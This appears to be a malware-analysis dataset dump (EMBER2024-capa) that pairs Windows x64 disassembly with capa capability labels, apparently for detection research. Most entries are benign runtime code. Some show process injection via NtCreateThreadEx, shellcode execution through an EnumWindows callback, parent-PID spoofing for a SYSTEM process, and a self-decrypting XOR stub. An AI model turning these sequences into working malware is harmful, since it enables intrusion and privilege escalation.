joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140079240
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov r12, qword [sym.imp.msvcrt.dll__errno]
mov rdi, rcx
mov rsi, rdx
mov ebx, r8d
mov rcx, qword [rdi]
call sub.msvcrt.dll__fileno_1
mov ecx, eax
mov r8d, ebx
mov rdx, rsi
call sub.msvcrt.dll__read
movsxd rbp, eax
cmp eax, 0xffffffff
je 0x140079288
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
call r12
cmp dword [rax], 4
je 0x14007925a
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x1400b3b70
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x1400b9240]
jmp 0x14000cc40

Function at 0x1400b3b80
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x1400b9240]
jmp 0x14000cc40

Function at 0x1400b4330
Capabilities:
Create thread
Inject thread

Disassembly:
push rdi
push rsi
push rbx
add rsp, 0xffffffffffffff80
lea rsi, [0x1400b9260]
call fcn.14000b0f0
call qword [sym.imp.KERNEL32.dll_FreeConsole]
mov rbx, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x70], 0x19600
call rbx
xor r8d, r8d
lea rdx, [rsp + 0x68]
lea r9, [rsp + 0x70]
mov dword [rsp + 0x28], 4
mov rcx, rax
mov dword [rsp + 0x20], 0x3000
call sub.ntdll.dll_NtAllocateVirtualMemory
call fcn.140016750
mov edx, dword [0x1400b6390]
mov r9d, 0x10
mov rcx, rsi
lea r8, [0x1400b6380]
call fcn.140016620
mov rdi, qword [rsp + 0x68]
call rbx
mov r9d, 0x19600
mov r8, rsi
mov qword [rsp + 0x20], 0
mov rcx, rax
mov rdx, rdi
call sub.ntdll.dll_NtWriteVirtualMemory
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
lea r9, [rsp + 0x64]
mov r8d, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1400b4478
call fcn.140016750
mov rsi, qword [rsp + 0x68]
call rbx
lea rcx, [rsp + 0x78]
xor r8d, r8d
mov edx, 0x1fffff
mov qword [rsp + 0x50], 0
mov r9, rax
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], rsi
call sub.ntdll.dll_NtCreateThreadEx
call fcn.140016750
mov rcx, qword [rsp + 0x78]
xor r8d, r8d
xor edx, edx
call sub.ntdll.dll_NtWaitForSingleObject
call fcn.140016750
mov rcx, qword [rsp + 0x78]
call sub.ntdll.dll_NtClose
xor eax, eax
sub rsp, 0xffffffffffffff80
pop rbx
pop rsi
pop rdi
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.VirtualProtect_failed_with_error_code:__lx_n
mov edx, eax
call fcn.1400165d0
or eax, 0xffffffff
jmp 0x1400b4470
Function at 0x140084710
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rax
mov rax, qword gs:[0x60]
mov ecx, dword [rax + 0x11c]
mov dword [0x1400f4208], ecx
mov ecx, dword [rax + 0x118]
mov dword [0x1400f420c], ecx
movzx ecx, word [rax + 0x120]
mov dword [0x1400f4210], ecx
movzx eax, word [rax + 0x122]
mov word [rsp + 6], ax
mov ecx, 0x19c2bea9
movzx eax, word [rsp + 4]
jmp 0x140084773
movzx ecx, word [rsp + 6]
mov eax, ecx
xor eax, 0xffffff00
and eax, ecx
mov ecx, 0x4e618e6b
cmp ecx, 0x19c2bea9
je 0x140084760
cmp ecx, 0x4e618e6b
jne 0x140084773
mov word [rsp + 4], ax
movzx eax, word [rsp + 4]
mov dword [0x1400f4214], eax
mov dword [0x1400f4218], 0
pop rax
ret
Function at 0x1400032d3
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x14000f028]
jne 0x140002a7a
rol rcx, 0x10
test cx, 0xffff
jne 0x140002a76
repz ret
ror rcx, 0x10
jmp 0x14000322c
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x1400100e0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x1400101d8]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x1400032b1
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x1400100e0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x1400032d3
mov rax, qword [rsp + 0x88]
mov qword [0x1400101d8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140010178], rax
mov rax, qword [0x1400101d8]
mov qword [0x140010050], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140010160], rax
mov dword [0x140010040], 0xc0000409
mov dword [0x140010044], 1
mov rax, qword [0x14000f028]
mov qword [rsp + 0x68], rax
mov rax, qword [0x14000f030]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x1400100d8], eax
mov ecx, 1
call fcn.140005000
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x14000a3d8]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x1400100d8], 0
jne 0x14000335a
mov ecx, 1
call fcn.140005000
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret

Function at 0x140003cc4
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.140003b34
Function at 0x140005b88
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x14000f028]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.140004ba8
xor ebx, ebx
cmp qword [0x140011160], rbx
mov rdi, rax
jne 0x140005c9b
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x140005d72
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140005d72
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x140011160], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x140011168], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x140011170], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x140011180], rax
test rax, rax
je 0x140005c92
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x140011178], rax
jmp 0x140005ca2
mov rax, qword [0x140011178]
jmp 0x140005ca9
mov rax, qword [0x140011178]
mov r11, qword [0x140011180]
cmp rax, rdi
je 0x140005d10
cmp r11, rdi
je 0x140005d10
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x140011180]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x140005d10
test rax, rax
je 0x140005d10
call rsi
test rax, rax
je 0x140005d0a
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x140005d0a
test byte [rsp + 0x40], 1
jne 0x140005d10
bts ebp, 0x15
jmp 0x140005d50
mov rcx, qword [0x140011168]
cmp rcx, rdi
je 0x140005d50
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140005d50
call rax
mov rbx, rax
test rax, rax
je 0x140005d50
mov rcx, qword [0x140011170]
cmp rcx, rdi
je 0x140005d50
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140005d50
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x140011160]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140005d72
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x140005d74
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140002a60
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x1400279dc
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14001b104
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14001b104
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x140027b2c
cmp rax, 0xffffffffffffffff
je 0x140027b2c
xor edi, edi
test rbp, rbp
jle 0x140027ad7
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14001da18
mov rbx, rax
test rax, rax
jne 0x140027a64
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x140027acd
mov edx, 0x8000
mov ecx, r14d
call fcn.140018a68
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14001bde0
cmp eax, 0xffffffff
je 0x140027aad
cdqe
sub rbp, rax
test rbp, rbp
jg 0x140027a74
mov edx, r15d
mov ecx, r14d
call fcn.140018a68
jmp 0x140027acd
cmp byte [rsi + 0x38], dil
je 0x140027ac4
cmp dword [rsi + 0x34], 5
jne 0x140027ac4
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x140027acd
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.1400197c8
jmp 0x140027b40
jns 0x140027b40
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14001b104
cmp rax, 0xffffffffffffffff
jne 0x140027af8
cmp byte [rsi + 0x30], dil
je 0x140027b40
mov edi, dword [rsi + 0x2c]
jmp 0x140027b40
mov ecx, r14d
call fcn.140017594
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x140027b40
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x140027b40
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140027b39
mov eax, dword [rsi + 0x2c]
jmp 0x140027b3e
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14001b104
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x140028c30
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140028c58
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140028c58
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x140001040
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push rsp
push r13
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0x90
mov edx, 0x47
lea rcx, [entry0]
mov al, byte [rcx + rdx]
xor al, 0x7f
add al, 0xbc
xor al, 0xba
mov byte [rcx + rdx], al
inc rdx
cmp rdx, 0x2d9
jl 0x140001068
cmp qword [r8 - 0xb379b23], rdi
push rdi
loope 0x140001051
xor rax, 0x24850a6c
xor byte [rsi + 0x8493203], ch
cmp al, 0xbe
xor al, 0xf7
nop
test dl, ah
pop rcx
add ebx, dword [rdi]
cmp dword [rbp + 8], eax
pop rsp
invalid
Function at 0x14000b2d0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140015b70
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140015b70
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x14000b340
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400e50a4]
mov rbx, rcx
test esi, esi
jle 0x14000b470
mov rax, qword [0x1400e50a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000b38b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x14000b415
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x14000b370
mov rcx, rbx
call fcn.14000bdb0
mov rdi, rax
test rax, rax
je 0x14000b492
mov rax, qword [0x1400e50a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.14000bef0
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400e50a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14000b477
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x14000b40e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x14000b420
add dword [0x1400e50a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400e50a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000b40e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.14000b2d0
nop dword [rax]
xor esi, esi
jmp 0x14000b398
mov rax, qword [0x1400e50a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.14000b2d0
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.14000b2d0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x14000ba20
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x1400e5100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400e50e0]
test rbx, rbx
je 0x14000ba7c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x14000ba73
test eax, eax
jne 0x14000ba73
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x14000ba58
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x14000bdb0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400bf260]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x14000bdd0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x14000bdd8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x14000bdd0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000be2d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14000be24
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x14000bdd0
add rax, 0x28
cmp rax, r9
jne 0x14000be10
xor eax, eax
ret

Function at 0x14000be30
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400bf260]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000be4f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x14000be58
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000be4f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x14000bef0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400bf260]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000bf0f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x14000bf18
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140079010
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov r12, qword [sym.imp.msvcrt.dll__errno]
mov rdi, rcx
mov rsi, rdx
mov ebx, r8d
mov rcx, qword [rdi]
call sub.msvcrt.dll__fileno_1
mov ecx, eax
mov r8d, ebx
mov rdx, rsi
call sub.msvcrt.dll__read
movsxd rbp, eax
cmp eax, 0xffffffff
je 0x140079058
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
call r12
cmp dword [rax], 4
je 0x14007902a
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x1400b39c0
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x1400b81e0]
jmp 0x14000cc10

Function at 0x1400b39d0
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x1400b81e0]
jmp 0x14000cc10

Function at 0x1400b4180
Capabilities:
Enumerate gui resources

Disassembly:
push rsi
push rbx
sub rsp, 0x28
call fcn.14000b0c0
mov ecx, dword [0x1400b8520]
mov edx, 7
call fcn.140016440
mov rsi, qword [0x1400becc0]
lea rdx, str.Allocated_memory_at:
mov rbx, rax
mov rcx, rsi
call fcn.1400b0f40
mov rcx, rax
mov rax, qword [rax]
mov rdx, qword [rax - 0x18]
add rdx, rcx
mov eax, dword [rdx + 0x18]
and eax, 0xffffffb5
or eax, 8
mov dword [rdx + 0x18], eax
mov rdx, rbx
call fcn.140070d90
mov rcx, rax
call fcn.1400afa70
movsxd r8, dword [0x1400b8520]
mov rcx, rbx
lea rdx, [0x1400b8200]
call sub.msvcrt.dll_memcpy
lea rdx, str.Payload_copied_to_allocated_memory
mov rcx, rsi
call fcn.1400b0f40
mov rcx, rax
call fcn.1400afa70
xor edx, edx
mov rcx, rbx
call qword [sym.imp.USER32.dll_EnumWindows]
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
ret
Function at 0x140001070
Capabilities:
Create process on windows
Create process suspended
Spoof parent pid

Disassembly:
mov r11, rsp
mov qword [r11 + 0x18], rbx
push rdi
sub rsp, 0xf0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0xe8], rax
inc dword [0x140005078]
lea r9, [rsp + 0x50]
xorps xmm0, xmm0
mov qword [rsp + 0x58], rcx
movups xmmword [rsp + 0x64], xmm0
xor eax, eax
mov rbx, rdx
movups xmmword [rsp + 0x74], xmm0
xor r8d, r8d
mov qword [r11 - 0x34], rax
mov edx, 1
mov dword [r11 - 0x2c], eax
xor ecx, ecx
movups xmmword [r11 - 0x74], xmm0
movups xmmword [r11 - 0x64], xmm0
movups xmmword [r11 - 0x54], xmm0
movups xmmword [r11 - 0x44], xmm0
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rsp + 0x50]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
inc dword [0x140005078]
lea r9, [rsp + 0x50]
mov rcx, rax
mov qword [rsp + 0xc8], rax
xor r8d, r8d
mov edx, 1
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
mov rcx, qword [rsp + 0xc8]
lea r9, [rsp + 0x58]
inc dword [0x140005078]
xor edi, edi
mov qword [rsp + 0x30], rdi
xor edx, edx
mov qword [rsp + 0x28], rdi
mov r8d, 0x20000
mov qword [rsp + 0x20], 8
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
add dword [0x140005078], 2
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x48], rax
xor r9d, r9d
lea rax, [rsp + 0x60]
mov dword [rsp + 0x60], 0x70
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov qword [rsp + 0x38], rdi
mov rdx, rbx
mov qword [rsp + 0x30], rdi
xor ecx, ecx
mov dword [rsp + 0x28], 0x80010
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ecx, dword [0x140005078]
inc ecx
mov dword [0x140005078], ecx
test eax, eax
jne 0x1400011d6
lea eax, [rcx + 1]
mov dword [0x140005078], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error_creating_new_process___d__n
call fcn.140001010
mov eax, 3
jmp 0x1400011e4
lea rcx, str.Enjoy_your_new_SYSTEM_process_n
call fcn.140001010
xor eax, eax
mov rcx, qword [rsp + 0xe8]
xor rcx, rsp
call fcn.1400017a0
mov rbx, qword [rsp + 0x110]
add rsp, 0xf0
pop rdi
ret
Function at 0x14001ec50
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
mov eax, 0x10090
call fcn.140049830
sub rsp, rax
mov rax, qword [0x140061040]
xor rax, rsp
mov qword [rsp + 0x10080], rax
movzx edx, byte [rcx]
lea rbx, [rsp + 0x30]
xor eax, eax
mov rsi, rcx
mov word [rsp + 0x80], ax
mov word [rsp + 0x30], ax
lea edi, [rax + 0x28]
test dl, dl
je 0x14001ed12
nop dword [rax + rax]
cmp word [rbx], 0
mov rcx, rdi
mov rax, rbx
je 0x14001ecbd
nop dword [rax]
add rax, 2
dec rcx
cmp word [rax], 0
jne 0x14001ecb0
cmp rcx, 1
jb 0x14001ed6a
mov byte [rsp + 0x20], dl
mov rcx, 0xffffffffffffffff
mov byte [rsp + 0x21], 0
nop word [rax + rax]
cmp word [rax + rcx*2 + 2], 0
lea rcx, [rcx + 1]
jne 0x14001ece0
lea rcx, [rax + rcx*2]
mov r8d, 2
lea rdx, [rsp + 0x20]
call fcn.14003ce08
movzx edx, byte [rsi + 1]
inc rsi
add rbx, 2
dec rdi
test dl, dl
jne 0x14001eca0
mov r8d, 0x10000
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
dec eax
cmp eax, 0xffff
ja 0x14001ed43
lea rcx, [rsp + 0x80]
call fcn.14003e5dc
jmp 0x14001ed45
xor eax, eax
mov rcx, qword [rsp + 0x10080]
xor rcx, rsp
call fcn.14002dd80
lea r11, [rsp + 0x10090]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
call fcn.140032370
int3

Function at 0x14001ed70
Capabilities:
Set environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x90
mov rax, qword [0x140061040]
xor rax, rsp
mov qword [rsp + 0x80], rax
xor eax, eax
lea rsi, str.NUITKA_PYTHONPATH
mov word [rsp + 0x30], ax
lea rbx, [rsp + 0x30]
mov edi, 0x28
mov dl, 0x4e
nop
cmp word [rbx], 0
mov rcx, rdi
mov rax, rbx
je 0x14001edcd
nop dword [rax]
add rax, 2
dec rcx
cmp word [rax], 0
jne 0x14001edc0
cmp rcx, 1
jb 0x14001ee47
mov byte [rsp + 0x20], dl
mov rcx, 0xffffffffffffffff
mov byte [rsp + 0x21], 0
cmp word [rax + rcx*2 + 2], 0
lea rcx, [rcx + 1]
jne 0x14001ede3
lea rcx, [rax + rcx*2]
mov r8d, 2
lea rdx, [rsp + 0x20]
call fcn.14003ce08
movzx edx, byte [rsi + 1]
inc rsi
add rbx, 2
dec rdi
test dl, dl
jne 0x14001edb0
xor edx, edx
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.14002dd80
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
call fcn.140032370
int3
Function at 0x14002e754
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14002e79e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14002e79e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14002e79e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14002e79e
cmp dword [rcx + 0x84], 0xe
jbe 0x14002e79e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14002e7a0
xor al, al
add rsp, 0x28
ret

Function at 0x1400326d0
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14003253b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14003253b
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14003253b
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14003253b
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14003253b
cmp dword [rcx + 0x84], 0xe
jbe 0x14003253b
cmp dword [rcx + 0xf8], 0
je 0x14003253b
mov ecx, ebx
call fcn.1400325ec
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.1400323c8
nop
cmp dword [rbp + 0x20], 0
je 0x140032589
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140032594
int3
xor r8d, r8d
xor edx, edx
jmp 0x1400324cc